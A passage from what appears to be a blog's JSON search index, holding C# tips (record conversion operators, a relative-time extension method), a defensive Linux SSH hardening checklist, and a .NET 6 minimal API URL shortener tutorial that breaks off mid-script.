model using C#.<\/p>\n<p><em>OpenAI<\/em> is a leading organization in the field of artificial intelligence, and one of its popular AI models is the Chat GPT (Generative Pretrained Transformer).<\/p>\n<h2 id=\"-what-are-openai-and-chat-gpt\" class=\"relative group\">\ud83d\udcac What are OpenAI and Chat GPT? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#-what-are-openai-and-chat-gpt\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>OpenAI is a prominent organization that develops AI for various applications, including natural language processing. One of their popular AI models is the Chat GPT, a generative language model that uses a transformer architecture to process input text and generate human-like responses. It&rsquo;s commonly used for chatbots and other natural language processing tasks.<\/p>","title":"Getting Started with Chat GPT integration in a .NET C# Console Application"},{"content":"C# allows us to define Implicit and Explicit operators. Unlike casting _Implicit_and Explicit operators defines how C# should behave when encountering an equals sign.\nImplicit operator execution can be invoked when assigning a variable or calling a method.\nTo use Explicit operator we should do the same as casting an object. It&rsquo;s similar to a cast an object.\npublic record class Email(string Value) { \/\/define implicit operator public static implicit operator string(Email value) =&gt; value.Value; \/\/define implicit operator public static implicit operator byte[](Email value) =&gt; Encoding.UTF8.GetBytes(value.Value); \/\/define explict operator public static explicit operator Email(string value) =&gt; new Email(value); } Define custom operators on Record Class\nTo define a implicit\/explicit we need to make use of &ldquo;operator&rdquo;, &ldquo;implicit&rdquo; or &ldquo;explicit&rdquo; keywords.\nThe following example demonstrates the use of both operators.\nEmail email = new(&#34;some@email.com&#34;); \/\/use implicit operator. This is not a cast string stringEmail = email; Email secondEmail = (Email)stringEmail; \/\/output rmauro@rmauro.dev System.Console.WriteLine(stringEmail); System.Console.WriteLine(secondEmail.Value.ToString()); Making use of defined Operators\nThe explicit conversion is similar to a cast operation. We make visible the type to which we will convert the object. The implicit operator is less visible and difficult to understand if you don\u2019t know that it exists.\n\u2764\ufe0f Enjoy this article? #Forward to a friend and let them know.\n","date":"November 10, 2022","permalink":"https:\/\/rmauro.dev\/define-implicit-explicit-operator-csharp-tips\/","section":"Posts","summary":"<p>C# allows us to define Implicit and Explicit operators. Unlike casting _I<strong>mplicit<\/strong>_and <strong><em>Explicit<\/em><\/strong> operators defines how C# should behave when encountering an equals sign.<\/p>\n<p><strong><em>Implicit<\/em><\/strong> operator execution can be invoked when assigning a variable or calling a method.<\/p>\n<p>To use <strong><em>Explicit<\/em><\/strong> operator we should do the same as casting an object. It&rsquo;s similar to a <strong><em>cast<\/em><\/strong> an object.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"kd\">public<\/span> <span class=\"k\">record<\/span> <span class=\"nc\">class<\/span> <span class=\"n\">Email<\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span> <span class=\"n\">Value<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">\/\/define implicit operator<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">implicit<\/span> <span class=\"kd\">operator<\/span> <span class=\"kt\">string<\/span><span class=\"p\">(<\/span><span class=\"n\">Email<\/span> <span class=\"k\">value<\/span><span class=\"p\">)<\/span> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">=&gt;<\/span> <span class=\"k\">value<\/span><span class=\"p\">.<\/span><span class=\"n\">Value<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    \n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">\/\/define implicit operator<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">implicit<\/span> <span class=\"kd\">operator<\/span> <span class=\"kt\">byte<\/span><span class=\"p\">[](<\/span><span class=\"n\">Email<\/span> <span class=\"k\">value<\/span><span class=\"p\">)<\/span> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">=&gt;<\/span> <span class=\"n\">Encoding<\/span><span class=\"p\">.<\/span><span class=\"n\">UTF8<\/span><span class=\"p\">.<\/span><span class=\"n\">GetBytes<\/span><span class=\"p\">(<\/span><span class=\"k\">value<\/span><span class=\"p\">.<\/span><span class=\"n\">Value<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\">\/\/define explict operator<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">explicit<\/span> <span class=\"kd\">operator<\/span> <span class=\"n\">Email<\/span><span class=\"p\">(<\/span><span class=\"kt\">string<\/span> <span class=\"k\">value<\/span><span class=\"p\">)<\/span> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">=&gt;<\/span> <span class=\"k\">new<\/span> <span class=\"n\">Email<\/span><span class=\"p\">(<\/span><span class=\"k\">value<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Define custom operators on Record Class<\/p>","title":"Define Implicit and Explicit Operator - C# Tips"},{"content":"Here is a small extension method over System.DateTime that gives its relative time readable for humans, such as:\none minute ago 2 minutes ago one hour ago 3 hours ago 3 days ago Check out this extension method over the DateTime structure using switch patterns.\npublic static string AsTimeAgo(this DateTime dateTime) { TimeSpan timeSpan = DateTime.Now.Subtract(dateTime); return timeSpan.TotalSeconds switch { &lt;= 60 =&gt; $&#34;{timeSpan.Seconds} seconds ago&#34;, _ =&gt; timeSpan.TotalMinutes switch { &lt;= 1 =&gt; &#34;about a minute ago&#34;, &lt; 60 =&gt; $&#34;about {timeSpan.Minutes} minutes ago&#34;, _ =&gt; timeSpan.TotalHours switch { &lt;= 1 =&gt; &#34;about an hour ago&#34;, &lt; 24 =&gt; $&#34;about {timeSpan.Hours} hours ago&#34;, _ =&gt; timeSpan.TotalDays switch { &lt;= 1 =&gt; &#34;yesterday&#34;, &lt;= 30 =&gt; $&#34;about {timeSpan.Days} days ago&#34;, &lt;= 60 =&gt; &#34;about a month ago&#34;, &lt; 365 =&gt; $&#34;about {timeSpan.Days \/ 30} months ago&#34;, &lt;= 365 * 2 =&gt; &#34;about a year ago&#34;, _ =&gt; $&#34;about {timeSpan.Days \/ 365} years ago&#34; } } } }; } Extension method AsTimeAgo\n\ud83d\udca1\nDon&rsquo;t forget to join our newsletter becoming a member\nBonus! Different solutions for the same problem #Surfing the web - I&rsquo;m so old - I found two more solutions for the same problem.\nTell me in the comments section which one you like the best.\nFirst Solution #const int SECOND = 1; const int MINUTE = 60 * SECOND; const int HOUR = 60 * MINUTE; const int DAY = 24 * HOUR; const int MONTH = 30 * DAY; var ts = new TimeSpan(DateTime.UtcNow.Ticks - yourDate.Ticks); double delta = Math.Abs(ts.TotalSeconds); if (delta &lt; 1 * MINUTE) return ts.Seconds == 1 ? &#34;one second ago&#34; : ts.Seconds + &#34; seconds ago&#34;; if (delta &lt; 2 * MINUTE) return &#34;a minute ago&#34;; if (delta &lt; 45 * MINUTE) return ts.Minutes + &#34; minutes ago&#34;; if (delta &lt; 90 * MINUTE) return &#34;an hour ago&#34;; if (delta &lt; 24 * HOUR) return ts.Hours + &#34; hours ago&#34;; if (delta &lt; 48 * HOUR) return &#34;yesterday&#34;; if (delta &lt; 30 * DAY) return ts.Days + &#34; days ago&#34;; if (delta &lt; 12 * MONTH) { int months = Convert.ToInt32(Math.Floor((double)ts.Days \/ 30)); return months &lt;= 1 ? &#34;one month ago&#34; : months + &#34; months ago&#34;; } else { int years = Convert.ToInt32(Math.Floor((double)ts.Days \/ 365)); return years &lt;= 1 ? &#34;one year ago&#34; : years + &#34; years ago&#34;; } Found on https:\/\/stackoverflow.com\/questions\/11\/calculate-relative-time-in-c-sharp\nSecond Solution #public static string TimeAgo(this DateTime dateTime) { string result = string.Empty; var timeSpan = DateTime.Now.Subtract(dateTime); if (timeSpan &lt;= TimeSpan.FromSeconds(60)) { result = string.Format(&#34;{0} seconds ago&#34;, timeSpan.Seconds); } else if (timeSpan &lt;= TimeSpan.FromMinutes(60)) { result = timeSpan.Minutes &gt; 1 ? String.Format(&#34;about {0} minutes ago&#34;, timeSpan.Minutes) : &#34;about a minute ago&#34;; } else if (timeSpan &lt;= TimeSpan.FromHours(24)) { result = timeSpan.Hours &gt; 1 ? String.Format(&#34;about {0} hours ago&#34;, timeSpan.Hours) : &#34;about an hour ago&#34;; } else if (timeSpan &lt;= TimeSpan.FromDays(30)) { result = timeSpan.Days &gt; 1 ? String.Format(&#34;about {0} days ago&#34;, timeSpan.Days) : &#34;yesterday&#34;; } else if (timeSpan &lt;= TimeSpan.FromDays(365)) { result = timeSpan.Days &gt; 30 ? String.Format(&#34;about {0} months ago&#34;, timeSpan.Days \/ 30) : &#34;about a month ago&#34;; } else { result = timeSpan.Days &gt; 365 ? String.Format(&#34;about {0} years ago&#34;, timeSpan.Days \/ 365) : &#34;about a year ago&#34;; } return result; } Found on https:\/\/dotnetthoughts.net\/time-ago-function-for-c\/\n\u2764\ufe0f Enjoy this article? #Forward to a friend and let them know.\nLeave a comment with questions or improvements.\n","date":"September 26, 2022","permalink":"https:\/\/rmauro.dev\/calculate-time-ago-with-csharp\/","section":"Posts","summary":"<p>Here is a small extension method over <em>System.DateTime<\/em> that gives its relative time readable for humans, such as:<\/p>\n<ul>\n<li>one minute ago<\/li>\n<li>2 minutes ago<\/li>\n<li>one hour ago<\/li>\n<li>3 hours ago<\/li>\n<li>3 days ago<\/li>\n<\/ul>\n<p>Check out this extension method over the <em>DateTime<\/em> structure using switch patterns.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-csharp\" data-lang=\"csharp\"><span class=\"line\"><span class=\"cl\"><span class=\"kd\">public<\/span> <span class=\"kd\">static<\/span> <span class=\"kt\">string<\/span> <span class=\"n\">AsTimeAgo<\/span><span class=\"p\">(<\/span><span class=\"k\">this<\/span> <span class=\"n\">DateTime<\/span> <span class=\"n\">dateTime<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"n\">TimeSpan<\/span> <span class=\"n\">timeSpan<\/span> <span class=\"p\">=<\/span> <span class=\"n\">DateTime<\/span><span class=\"p\">.<\/span><span class=\"n\">Now<\/span><span class=\"p\">.<\/span><span class=\"n\">Subtract<\/span><span class=\"p\">(<\/span><span class=\"n\">dateTime<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"k\">return<\/span> <span class=\"n\">timeSpan<\/span><span class=\"p\">.<\/span><span class=\"n\">TotalSeconds<\/span> <span class=\"k\">switch<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">&lt;=<\/span> <span class=\"m\">60<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">$&#34;{timeSpan.Seconds} seconds ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"n\">_<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"n\">timeSpan<\/span><span class=\"p\">.<\/span><span class=\"n\">TotalMinutes<\/span> <span class=\"k\">switch<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">&lt;=<\/span> <span class=\"m\">1<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">&#34;about a minute ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">&lt;<\/span> <span class=\"m\">60<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">$&#34;about {timeSpan.Minutes} minutes ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"n\">_<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"n\">timeSpan<\/span><span class=\"p\">.<\/span><span class=\"n\">TotalHours<\/span> <span class=\"k\">switch<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">&lt;=<\/span> <span class=\"m\">1<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">&#34;about an hour ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">&lt;<\/span> <span class=\"m\">24<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">$&#34;about {timeSpan.Hours} hours ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"n\">_<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"n\">timeSpan<\/span><span class=\"p\">.<\/span><span class=\"n\">TotalDays<\/span> <span class=\"k\">switch<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">          <span class=\"p\">&lt;=<\/span> <span class=\"m\">1<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">&#34;yesterday&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">          <span class=\"p\">&lt;=<\/span> <span class=\"m\">30<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">$&#34;about {timeSpan.Days} days ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">          <span class=\"p\">&lt;=<\/span> <span class=\"m\">60<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">&#34;about a month ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">          <span class=\"p\">&lt;<\/span> <span class=\"m\">365<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">$&#34;about {timeSpan.Days \/ 30} months ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">          <span class=\"p\">&lt;=<\/span> <span class=\"m\">365<\/span> <span class=\"p\">*<\/span> <span class=\"m\">2<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">&#34;about a year ago&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">          <span class=\"n\">_<\/span> <span class=\"p\">=&gt;<\/span> <span class=\"s\">$&#34;about {timeSpan.Days \/ 365} years ago&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"p\">};<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Extension method AsTimeAgo<\/p>","title":"Calculate Time Ago with .NET C#"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/hardening\/","section":"Tags","summary":"","title":"Hardening"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/internet\/","section":"Tags","summary":"","title":"Internet"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/security\/","section":"Tags","summary":"","title":"Security"},{"content":"Exposing virtual machines to the internet it&rsquo;s not an easy task. Often managed using an SSH connection we must secure our machines as much as we can against hacker attacks.\nLet&rsquo;s go through some often and ease configurations that will make it an attacker hard if trying to access your machine.\n\ud83d\udcac In this issue # Creating a non-root user and use eventually elevated privileged Enabling UFW Uncomplicated Firewall Unattended Upgrades Hardening the SSH Access Use SSH Keys instead of Password Change the default Port for SSH Disable Password Login Disable Root Login over SSH Use config file in SSH client for easier connection \ud83d\udc49 Information we&rsquo;ll use in our lab #User: root\nPassword: generated with a password generator\nDescription: Our Root user\nUser: secondary\nPassword: generated with a password generator\nDescription: Non Root user for daily basis access\nOperating System: Ubuntu Server 20.04 - but it also working for different flavors of Linux.\nCreating a non-root user #First thing first: Never use the root user for non-privilege tasks.\nTo accomplish that let&rsquo;s create a non-root user and use the sudo command to elevate our privileges only when necessary.\nLogged as the root user let&rsquo;s create a non-root user called secondary. Execute the following command in our bash shell.\n# create a regular user with name secondary $ adduser secondary Creating the Secondary User\nWe should answer some questions (starting with the password) and we shall have the user.\nCreating the secondary user\nNow we have a user with fewer privileges. The next step is to grant the use sudo command when necessary.\nAdd to Sudo Group #Run usermodcommand to include secondary into sudo group.\n# includes the secondary into sudo group $ usermod -aG sudo secondary Including the Secondary user in the sudo group\nNow we&rsquo;re able to use sudo in front of a command to run as administrative rights.\nEnabling UFW Uncomplicated Firewall #UFW is the default firewall system (under the hood is the great IPTables) in Ubuntu Server.\nWith the use of ufw it&rsquo;s very simple to allow or block a port.\n$ sudo ufw allow 22 Allowing port 22 (SSH default port) on the UFW firewall\nDon&rsquo;t forget to use sudo - we should be using the secondary user instead of the root\n$ sudo ufw default deny incoming $ sudo ufw default allow outgoing $ sudo ufw enable Deny all incoming by default, allow outgoing, and finally enable the ufw service\nDeny all incoming by default, allow outgoing, and finally enable the ufw service\n$ sudo ufw status Displaying Status of ufw Service\nDisplaying Status of ufw Service\nGreat. Now we have ufw up and running.\nAdding Unattended Upgrades #Unattended-Upgrade is a service that regularly checks and updates the OS packages.\nThe purpose of unattended-upgrades is to keep the computer current with the latest security (and other) updates automatically.\nhttps:\/\/wiki.debian.org\/UnattendedUpgrades\n$ sudo apt install unattended-upgrades $ sudo systemctl status unattended-upgrades.service Install unattended upgrades and enable it\nAfter installing just enable the service and we should be good.\nUnattended upgrades Status\nThe default configuration will automatically retrieve new package updates for most of the packages included in the Ubuntu repositories.\nHardening the SSH Configuration #Most Linux servers are administered remotely using SSH using OpenSSH technology. Which is the default SSH server software used within Ubuntu.\nThis is one of the major vectors of attack by hackers on Linux exposed on the internet. Let&rsquo;s work on improving the configurations of our SSH server.\nUsing SSH keys instead of passwords #SSH keys are the recommended way to log into any Linux server environment remotely.\nBack in our client machine (not on the server) let&rsquo;s create a pair of keys - private and public keys. This also works on Windows 10\/11.\n$ ssh-keygen You can specify a different location to save the keys if you like.\nGenerating the Public and Private Keys\nThe next step is to copy the SSH key to the Ubuntu server.\n$ cat \/home\/{username}\/.ssh\/id_rsa.pub Copy the content output to the transfer area.\nBack into our server\n# create .ssh if not created $ sudo mkdir -p ~\/.ssh # copy the public key to authorized_keys file $ sudo echo public_key_string &gt;&gt; ~\/.ssh\/authorized_keys # remove all permissions on .ssh folder $ sudo chmod -R go= ~\/.ssh # adding read permission to our user - our scenario is secondary - on .ssh folder $ chown -R secondary:secondary ~\/.ssh Now we have the public key generated by our client machine in the server in the property location and with permissions in place.\nThis is it. Now we&rsquo;re able to log in using the recently created SSH Key. Let&rsquo;s try.\n# ssh -i (indicates where is the key) $ ssh -i $HOME\/.ssh\/id_rsa secondary@{SERVER-IP} Using SSH Key to log into the Server\nChanging default Port for SSH #Open the SSH configuration file sshd_config with a text editor.\n$ sudo nano \/etc\/ssh\/sshd_config Look for the entry Port 22 - it could be commented on. Replace it with the desired value - port between 1024 and 65536\n. . . Port 2222 . . . Port Configuration\nSave and Restart the OpenSSH service.\n$ sudo systemctl restart ssh Restarting the SSH service\nDisable Password Authentication over SSH #Change property to PasswordAuthentication no\n. . . PasswordAuthentication no . . . Password Authentication Configuration\nDisable Root User Login #Change property to PermitRootLogin no\n. . . PermitRootLogin no . . . Password Authentication Configuration\nTweaking some other sshd_config Configurations #Open the config file sshd_config one more time\n$ sudo nano \/etc\/ssh\/sshd_config . . . MaxAuthTries 3 . . . Enable lock when 3 fails attempts\n. . . PermitEmptyPasswords no . . . Do not allow Empty Passwords\nTest and Restart the SSH Service to reflect the new configuration\n# test the configuration changes $ sudo sshd -t # restart the service and load the new configuration $ sudo systemctl restart ssh Testing and Restarting SSH service\nUsing ssh config file on SSH Client #Adding a config file in the .ssh folder on the ssh client allows us to define the key, host, user, and other configurations by default per connection.\nIn our Client&rsquo;s machine\nCreate the config file in ~\/.ssh\/config location\n# THIS IS OUR CLIENT - NOT OUR UBUNTU SERVER $ nano ~\/.ssh\/config Past the following content.\n# connection name Host ssh-server # host address (ip or hostname) Hostname 192.168.0.100 # port of ssh server Port 2222 # user User secondary # private key to use IdentityFile ~\/.ssh\/id_rsa_locaweb_secondary config file\nThen we can connect using only the connection name\n$ ssh ssh-server Connecting to remote server\n\ud83d\ude0e Final thoughts #Wow, finally we made it. That is enough!\nOf course, we can keep going hardening it even more adding more protection - it never stops.\nShare in the comments section what you would do to make it even better or different.\n\u2764\ufe0f Enjoy this article? #Forward to a friend and let them know.\n","date":"September 11, 2022","permalink":"https:\/\/rmauro.dev\/8-actions-for-hardening-your-linux-server-for-internet\/","section":"Posts","summary":"<p>Exposing virtual machines to the internet it&rsquo;s not an easy task. Often managed using an SSH connection we must secure our machines as much as we can against hacker attacks.<\/p>\n<p>Let&rsquo;s go through some often and ease configurations that will make it an attacker hard if trying to access your machine.<\/p>\n<h2 id=\"-in-this-issue\" class=\"relative group\">\ud83d\udcac In this issue <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#-in-this-issue\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#creating-a-non-root-user\">Creating a non-root user and use eventually elevated privileged<\/a><\/li>\n<li><a href=\"#enabling-ufw-uncomplicated-firewall\">Enabling UFW Uncomplicated Firewall<\/a><\/li>\n<li><a href=\"#adding-unattended-upgrades\">Unattended Upgrades<\/a><\/li>\n<li><a href=\"#hardening-the-ssh-configuration\">Hardening the SSH Access<\/a>\n<ul>\n<li><a href=\"#using-ssh-keys-instead-of-passwords\">Use SSH Keys instead of Password<\/a><\/li>\n<li><a href=\"#changing-default-port-for-ssh\">Change the default Port for SSH<\/a><\/li>\n<li><a href=\"#disable-password-authentication-over-ssh\">Disable Password Login<\/a><\/li>\n<li><a href=\"#disable-root-user-login\">Disable Root Login over SSH<\/a><\/li>\n<li><a href=\"#using-ssh-config-file-on-ssh-client\">Use <em>config<\/em> file in SSH client for easier connection<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3 id=\"-information-well-use-in-our-lab\" class=\"relative group\">\ud83d\udc49 Information we&rsquo;ll use in our lab <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#-information-well-use-in-our-lab\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>User: <em>root<\/em><br>\nPassword: generated with a <em>password generator<\/em><br>\nDescription: Our <strong>Root<\/strong> user<\/p>","title":"SSH Exposed to Internet - 8 steps check list"},{"content":"One of the new features of .NET 6 is the arrival of a new template, which will replace the default and bring a good reduction in code writing. Including the removal of the Startup.cs file.\n.NET 6 was released as LTS (long-term stable) which means support for 3 years. So we have to learn about this new baby. Don&rsquo;t forget the new C# 10 features as well.\nMinimal APIs are architected to create HTTP APIs with minimal dependencies. They are ideal for microservices and apps that want to include only the minimum files, features, and dependencies in ASP.NET Core.\nmicrosoft.com\n\ud83d\udcac In this issue #In this tutorial we&rsquo;re going to create the following endpoints:\nAPI Description Request Response GET \/ Landing Page N\/A HTML Page GET \/{chunck} Route to redirect Chunk HTTP Redirect to final POST \/urls Create a new resource { &ldquo;url&rdquo;: &ldquo;https:\/\/&hellip;&rdquo; } Created Resource Before we get started - Dependencies #Before getting started you need to have installed .NET6 SDK\nhttps:\/\/dotnet.microsoft.com\/en-us\/download\nCreate the Minimal API project #To get started let&rsquo;s create our project using the new template.\nRun the following code in your terminal.\ndotnet new web -o URLShortnerMinimalApi Once run and completed, open it with Visual Studio or Visual Studio Code.\nYou will come across only one file called Program.cs with the following content:\nvar builder = WebApplication.CreateBuilder(args); var app = builder.Build(); app.MapGet(&#34;\/&#34;, () =&gt; &#34;Hello World&#34;); app.Run(); Program.cs\nThis is a perfect and ready-to-run application.\nCreating a Record #C# 9 introduced a new type of data structure, called Record, which allows you to have object resources in simpler structures.\ninternal record class ShortUrl(string Url) { public Guid Id { get; set; } public string? Chunck { get; set; } } ShortUrl Record\nThe ShortUrl record is defined with:\nUrl it&rsquo;s mandatory in his constructor and Get only property Id is not a mandatory property Chunk is not a mandatory property The next step is to set up our database access. For that, we&rsquo;ll use LiteDb - A Embedded NoSQL database for .NET.\nSet up Database - Lite DB #To make use of LiteDb we must add it NuGet package. To do so run the following command:\ndotnet add package LiteDB After including the new package let&rsquo;s add it to our Dependency Injection container.\nusing LiteDB; var builder = WebApplication.CreateBuilder(args); \/\/you could also get it from IConfiguration interface var connectionString = &#34;short.db&#34;; \/\/add as a singleton - it&#39;s a single file with a single access point builder.Services.AddSingleton&lt;ILiteDatabase, LiteDatabase&gt;( x =&gt; new LiteDatabase(connectionString)); var app = builder.Build(); \/\/redacted Database access: Checked!\nHTTP GET - Redirect to final Url #Now we can use it to build our first API endpoint.\n\/\/redacted var app = builder.Build(); app.MapGet(&#34;\/&#34;, () =&gt; &#34;Hello World!&#34;); app.MapGet(&#34;\/{chunck}&#34;, (string chunck, ILiteDatabase db) =&gt; db.GetCollection&lt;ShortUrl&gt;().FindOne(x =&gt; x.Chunck == chunck) is ShortUrl url ? Results.Redirect(url.Url) : Results.NotFound()); app.Run(); Note that we&rsquo;re using Pattern Matching - a new C# feature - to compare if the return is an instance of ShortUrl.\nThis comparison allows us to return Results.Redirect (redirect to the final destination) or Results.NotFound.\nRedirect route to target Url: Checked!\nCreating Chunks for a unique identifier #To generate new chunks we&rsquo;re going to use the package NanoId. We could use GUID, but it&rsquo;s ugly and too big for the end-user.\nNote: This library doesn&rsquo;t guarantee that will be a unique generated Id every time - Let&rsquo;s use it just for fun.\nAdd the NanoId package to our project. Run the following command.\ndotnet add package NanoId Add Package NanoId\nHTTP POST - Create a new resource #Let&rsquo;s create an endpoint to create a new resource.\napp.MapPost(&#34;\/urls&#34;, (ShortUrl shortUrl, HttpContext ctx, ILiteDatabase db) =&gt; { \/\/check if is a valid url if (Uri.TryCreate(shortUrl.Url, UriKind.RelativeOrAbsolute , out Uri? parsedUri)) { \/\/generates a random value shortUrl.Chunck = Nanoid.Nanoid.Generate(size: 9); \/\/inserts new record in the database db.GetCollection&lt;ShortUrl&gt;(BsonAutoId.Guid).Insert(shortUrl); var rawShortUrl = $&#34;{ctx.Request.Scheme}:\/\/{ctx.Request.Host}\/{shortUrl.Chunck}&#34;; return Results.Ok(new { ShortUrl = rawShortUrl }); } return Results.BadRequest(new { ErrorMessage = &#34;Invalid Url&#34; }); }); In this endpoint, the first thing we do is check if the URL sent is valid. We could use something fancier, but for sake of simplicity let&rsquo;s use this simple check.\nWhen is Good we go ahead and create a new record in the database and return an anonymous object\n{ ShortUrl = &quot;Generated URL&quot; }\nWhen is Bad Url them we return Results.BadRequest - HTTP Status 400 - with another anonymous object with a single property called ErrorMessage and the message itself.\nRoute to create new Short Urls: Checked!\nAdding a frontend for the end-user #Let&rsquo;s add a frontend for the user can call our APIs to generate new short-urls.\nCreate the folder wwwrootand a file index.html inside of it with the following content.\n&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset=&#34;utf-8&#34; \/&gt; &lt;title&gt;Url Shortner .NET 6&lt;\/title&gt; &lt;link rel=&#34;stylesheet&#34; href=&#34;https:\/\/unpkg.com\/mvp.css&#34; \/&gt; &lt;\/head&gt; &lt;body&gt; &lt;header&gt;&lt;h1&gt;Welcome to Url Shortner with .NET 6&lt;\/h1&gt;&lt;\/header&gt; &lt;main&gt; &lt;section&gt; &lt;aside style=&#34;width: 25rem;&#34;&gt; &lt;label&gt; Enter the url &lt;input type=&#34;url&#34; id=&#34;url&#34; style=&#34;width: 22rem; margin: 0.5rem 0&#34; \/&gt; &lt;\/label&gt; &lt;button type=&#34;button&#34; id=&#34;btnSubmit&#34; style=&#34;padding: 0.5rem 1rem&#34;&gt;Submit&lt;\/button&gt; &lt;p id=&#34;urlResult&#34;&gt;&lt;\/p&gt; &lt;\/aside&gt; &lt;\/section&gt; &lt;\/main&gt; &lt;script&gt; document.getElementById(&#39;btnSubmit&#39;) .addEventListener(&#39;click&#39;, e =&gt; { e.preventDefault(); handleSubmitAsync(); }); document.getElementById(&#39;url&#39;) .addEventListener(&#39;keyup&#39;, function (evt) { if (evt.code === &#39;Enter&#39;) 